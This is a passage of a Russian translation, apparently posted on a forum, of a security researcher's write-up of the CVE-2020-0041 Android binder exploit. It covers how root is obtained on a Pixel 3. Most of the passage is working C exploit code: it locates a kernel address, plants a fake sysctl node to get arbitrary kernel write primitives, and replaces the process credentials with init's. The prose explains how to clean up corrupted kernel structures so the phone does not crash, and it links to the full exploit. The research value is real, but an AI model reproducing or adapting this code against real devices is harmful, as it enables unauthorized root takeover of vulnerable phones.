uint64_t next_tbl = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);
printf("[+] First level entry: %lx -> next table at %lx\n", entry, next_tbl);

/* Offset 8 for 2MB boundary */
entry = read64(next_tbl + 8);
next_tbl = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);
printf("[+] Second level entry: %lx -> next table at %lx\n", entry, next_tbl);

entry = read64(next_tbl);
uint64_t kaddr = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);


*(uint64_t *)map = 0xdeadbeefbadc0ded;
if ( read64(kaddr) != 0xdeadbeefbadc0ded) {
   printf("[!] Something went wrong resolving the address of our mapping\n");
   goto out;
}

Обратите внимание, что нам необходимо прочитать содержимое memstart_addr, чтобы иметь возможность выполнять перевод между физическими адресами и соответствующим адресом Physmap. В любом случае, после выполнения этого кода мы знаем, что данные, которые мы находим в 0x200000 в нашем адресном пространстве процесса, также могут быть найдены в kaddr в ядре.

При этом мы устанавливаем новый узел sysctl следующим образом:

C:
/* We found the insertion place, setup the node */

uint64_t node_kaddr = kaddr;
void *node_uaddr = map;

uint64_t tbl_header_kaddr = kaddr + 0x80;
void *tbl_header_uaddr = map + 0x80;

uint64_t ctl_table_kaddr = kaddr + 0x100;
ctl_table_uaddr = map + 0x100;

uint64_t procname_kaddr = kaddr + 0x200;
void * procname_uaddr = map + 0x200;

/* Setup rb_node */
*(uint64_t *)(node_uaddr + 0x00) = prev_node;              // parent = prev_node
*(uint64_t *)(node_uaddr + 0x08) = 0;                      // right = null
*(uint64_t *)(node_uaddr + 0x10) = 0;                      // left = null

*(uint64_t *)(node_uaddr + 0x18) = tbl_header_kaddr;       // my_tbl_header

*(uint64_t *)(tbl_header_uaddr) = ctl_table_kaddr;
*(uint64_t *)(tbl_header_uaddr + 0x18) = 0;                // unregistering
*(uint64_t *)(tbl_header_uaddr + 0x20) = 0;                // ctl_Table_arg
*(uint64_t *)(tbl_header_uaddr + 0x28) = sysctl_table_root;      // root
*(uint64_t *)(tbl_header_uaddr + 0x30) = sysctl_table_root;      // set
*(uint64_t *)(tbl_header_uaddr + 0x38) = sysctl_table_root + 8;  // parent
*(uint64_t *)(tbl_header_uaddr + 0x40) = node_kaddr;          // node
*(uint64_t *)(tbl_header_uaddr + 0x48) = 0;                // inodes.first

/* Now setup ctl_table */
uint64_t proc_douintvec = kernel_base + PROC_DOUINTVEC_OFFSET;
*(uint64_t *)(ctl_table_uaddr) = procname_kaddr;           // procname
*(uint64_t *)(ctl_table_uaddr + 8) = kernel_base;          // data == what to read/write
*(uint32_t *)(ctl_table_uaddr + 16) = 0x8;                 // max size
*(uint64_t *)(ctl_table_uaddr + 0x20) = proc_douintvec;       // proc_handler
*(uint32_t *)(ctl_table_uaddr + 20) = 0666;             // mode = rw-rw-rw-

/*
* Compute and write the node name. We use a random name starting with aaa
* for two reasons:
*
*  - Must be the first node in the tree alphabetically given where we insert it (hence aaa...)
*
*  - If we already run, there's a cached dentry for each name we used earlier which has dangling
*    pointers but is only reachable through path lookup. If we'd reuse the name, we'd crash using
*    this dangling pointer at open time.
*
* It's easier to have a unique enough name instead of figuring out how to clear the cache,
* which would be the cleaner solution here.
*/

int fd = open("/dev/urandom", O_RDONLY);
uint32_t rnd;
read(fd, &rnd, sizeof(rnd));

sprintf(procname_uaddr, "aaa_%x", rnd);
sprintf(pathname, "/proc/sys/%s", procname_uaddr);

/* And finally use a write8 to inject this new sysctl node */
struct exp_node *write8_sysctl = node_new("write8_sysctl");
node_write8(write8_sysctl, kaddr, prev_node + 16);

В основном это создает один файл в /proc/sys/aaa_[random] с разрешениями на чтение/запись и использует proc_douintvec для обработки чтения/записи. Эта функция примет поле данных в качестве указателя для чтения или записи и позволит считывать или записывать до max_size байтов как целые числа без знака.

При этом мы можем настроить примитив записи следующим образом:

C:
void write64(uint64_t addr, uint64_t value) {
   *(uint64_t *)(ctl_table_uaddr + 8) = addr;          // data == what to read/write
   *(uint32_t *)(ctl_table_uaddr + 16) = 0x8;

   char buf[100];
   int fd = open(pathname, O_WRONLY);
   if (fd < 0) {
      printf("[!] Failed to open. Errno: %d\n", errno);
   }

   sprintf(buf, "%u %u\n", (uint32_t)value, (uint32_t)(value >> 32));
   int ret = write(fd, buf, strlen(buf));
   if (ret < 0)
      printf("[!] Failed to write, errno: %d\n", errno);
   close(fd);
}

void write32(uint64_t addr, uint32_t value) {
   *(uint64_t *)(ctl_table_uaddr + 8) = addr;          // data == what to read/write
   *(uint32_t *)(ctl_table_uaddr + 16) = 4;

   char buf[100];
   int fd = open(pathname, O_WRONLY);
   sprintf(buf, "%u\n", value);
   write(fd, buf, strlen(buf));
   close(fd);
}

Получение рута и очистка

Когда у нас есть возможности чтения/записи на телефоне Pixel, получить root-доступ так же просто, как скопировать учетные данные из корневой задачи. Поскольку мы уже отключили SELinux ранее, нам просто нужно найти учетные данные init, увеличить их счетчик ссылок и скопировать их в наш процесс следующим образом:

C:
/* Set refcount to 0x100 and set our own credentials to init's */
write32(init_cred, 0x100);
write64(current + REAL_CRED_OFFSET, init_cred);
write64(current + REAL_CRED_OFFSET + 8, init_cred);

if (getuid() != 0) {
   printf("[!!] Something went wrong, we're not root!!\n");
   goto out;
}

Однако этого еще недостаточно для того, чтобы пользоваться оболочкой root, поскольку мы испортили довольно много памяти в области ядра и все сломается, как только мы выйдем из текущего процесса и запустим оболочку. Есть несколько вещей, которые нам нужно отремонтировать:

- Структуры binder_node, которые мы использовали для выполнения примитивов записи, были перераспределены через sendmsg, но были снова освобождены при выполнении записи. Мы должны убедиться, что соответствующие потоки не освобождают эти объекты снова по возвращении из sendmsg. Для этого мы анализируем стеки потоков и заменяем все найденные ссылки на эти узлы на ZERO_SIZE_PTR (https://android.googlesource.com/ke...android-10.0.0_r0.42/include/linux/slab.h#109).

- Мы изменили f_inode файла структуры, который теперь указывает на середину epitem. Самый простой способ обойти это - просто увеличить счетчик ссылок для этого файла так, чтобы release никогда не вызывался для него.

- При настройке примитива чтения мы также повредили поле в самой epitem. Это поле было связанным списком только с одним epitem, поэтому мы можем просто скопировать поле fllist.prev поверх fllist.next, чтобы восстановить список.

- Мы также добавили поддельную запись в /proc/sys, которую мы могли бы оставить ... но в этом случае она будет указывать на страницы, которые принадлежали нашему эксплоиту и теперь перерабатываются ядром. Мы решили просто удалить его из rb-дерева. Обратите внимание, что это делает запись исчезающей из представления пользовательского пространства, но в ядре все еще есть кэшированный путь. Поскольку мы использовали рандомизированное имя, маловероятно, что кто-нибудь в будущем попытается получить к нему доступ, напрямую открыв его.

Очистив все это, мы можем наконец запустить нашу root оболочку и наслаждаться uid 0 без сбоя телефона.

Демонстрационное видео

В следующем видео показан процесс получения рута на телефоне из оболочки adb с помощью только что описанного нами эксплоита:

Код

Вы можете найти код для эксплоитов, описанных в этом и предыдущем посте, на GitHub Blue Frost Security (https://github.com/bluefrostsecurity/CVE-2020-0041/). Эксплоит был протестирован только на телефоне Pixel 3 с использованием прошивки от февраля 2020 года, и его необходимо адаптировать для других прошивок. В частности, в эксплоите используется ряд смещений ядра, а также смещений структуры, которые могут различаться в зависимости от версии ядра.

Источник: https://labs.bluefrostsecurity.de/blog/2020/04/08/cve-2020-0041-part-2-escalating-to-root/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх